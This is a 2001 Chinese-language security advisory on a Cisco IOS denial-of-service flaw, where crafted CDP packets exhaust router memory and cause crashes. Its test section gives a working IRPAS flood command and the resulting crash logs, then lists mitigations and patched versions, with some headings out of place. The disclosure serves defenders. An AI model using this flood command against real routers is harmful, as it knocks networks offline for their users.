首页 -> 安全研究
安全研究
安全漏洞
Cisco IOS CDP 协议拒绝服务攻击漏洞
发布日期:2001-10-09
更新日期:2001-10-10
受影响系统:
不受影响系统:
Cisco 1005 IOS 11.1.*
Cisco 1603 IOS 11.2, 11.3.11b
Cisco 2503 IOS 12.0.19
Cisco 2600 IOS 12.1.*
Cisco Catalyst 2940XL IOS 12.0(5.1)XP
描述:
Cisco IOS 12.2(3.6)B
Cisco IOS 12.2(4.1)S
Cisco IOS 12.2(3.6)PB
Cisco IOS 12.2(3.6)T
Cisco IOS 12.1(10.1)
Cisco IOS 12.2(3.6)
Cisco bug ID : CSCdu09909
Cisco 路由器或交换机的IOS系统支持CDP(Cisco Discovery Protocol)协议。然而,在
处理某些特殊的CDP报文时,可能会占用大量路由器内存,从而导致崩溃、重启等后果。
Cisco Discovery Protocol(CDP)是一个二层协议。Cisco 设备会定期发送更新消息以通
知它的相邻设备。这些报文是不可路由的。因此攻击者只能向同一个网段内的Cisco路由
器发动攻击。更新消息被发送到一个多播地址: 01:00:0C:CC:CC:CC
如果一个Cisco设备收到另外一个设备发来的CDP报文,它会将内容拷贝到一个内部数据
结构中。这些信息包括设备ID,发送方地址等等。
如果使用包含随机设备ID和随机数据链路地址的长CDP报文给某个Cisco设备,可能导致
该设备不能正常工作。对于不同的IOS版本,常见的反应有:
. 在收到3到5个报文之后系统重启
. 在成千上万个报文之后完全停止响应
. 使用所有的可用内存来存储CDP信息直到超时
如果管理员试图在控制台执行'debug cdp packets'命令检查CDP流量,则系统会立刻崩溃。
有时候在受到攻击时,命令行窗口将不再正常工作。
<*来源:FX (fx@phenoelit.de)
链接:http://archives.neohapsis.com/archives/bugtraq/2001-10/0061.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
可以使用Phenoelit IRPAS软件包(http://www.phenoelit.de/irpas/)来发
送CDP报文.
linuxbox# ./cdp -i eth0 -m0 -n 100000 -l 1480 -r -v
注意,所有在多播域中的Cisco设备都可能受到攻击!
Cisco 1603 / IOS 11.2(4)的反应:
radio#
%SYS-2-MALLOCFAIL: Memory allocation of 1480 bytes failed from
0x81B3BE6, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 80ABDCC 80ACF46 81B3BEE 81B3B72 81B276A 81B224C
radio#
%SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
0x81B26D2, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
%SYS-2-MALLOCFAIL: Memory allocation of 96 bytes failed from
0x81B26D2, pool Processor, alignment 0
-Process= "CDP Protocol", ipl= 0, pid= 9
-Traceback= 80ABDCC 80ACF46 81B26DA 81B224C
radio#sh ?
% Unrecognized command
radio#show ?
% Unrecognized command
radio#
在执行了 'debug cdp packets'命令之后的反应:
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
....[lots of these].....
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
%Log packet overrun, potential memory corruption, PC 0x81B2720, format:
%s
*** BUS ERROR ***
access address = 0x5f227998
program counter = 0x80ad45a
status register = 0x2700
vbr at time of exception = 0x4000000
special status word = 0x0045
faulted cycle was a longword read
monitor: command "boot" aborted due to exception
System Bootstrap, Version .....
Copyright (c) 1994-1996 by cisco Systems, Inc.
C1600 processor with 2048 Kbytes of main memory
program load complete, entry point: 0x4018060, size: 0x1da950
建议:
临时解决方法:
在路由器上禁止CDP。
Router# configure terminal
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)# no cdp run
或者在特定端口上禁止CDP:
Router# configure terminal
Enter configuration commands, one per line. End with CNTL/Z.
Router(config)# interface Ethernet0
Router(config-if)# no cdp enable
厂商补丁:
Cisco已经在一些临时版本的IOS中解决了这个问题:
Cisco IOS 12.2(3.6)B
Cisco IOS 12.2(4.1)S
Cisco IOS 12.2(3.6)PB
Cisco IOS 12.2(3.6)T
Cisco IOS 12.1(10.1)
Cisco IOS 12.2(3.6)
后续IOS版本中也将解决这个问题。
厂商主页:http://www.cisco.com
浏览次数:4879
严重程度:0(网友投票)
绿盟科技给您安全的保障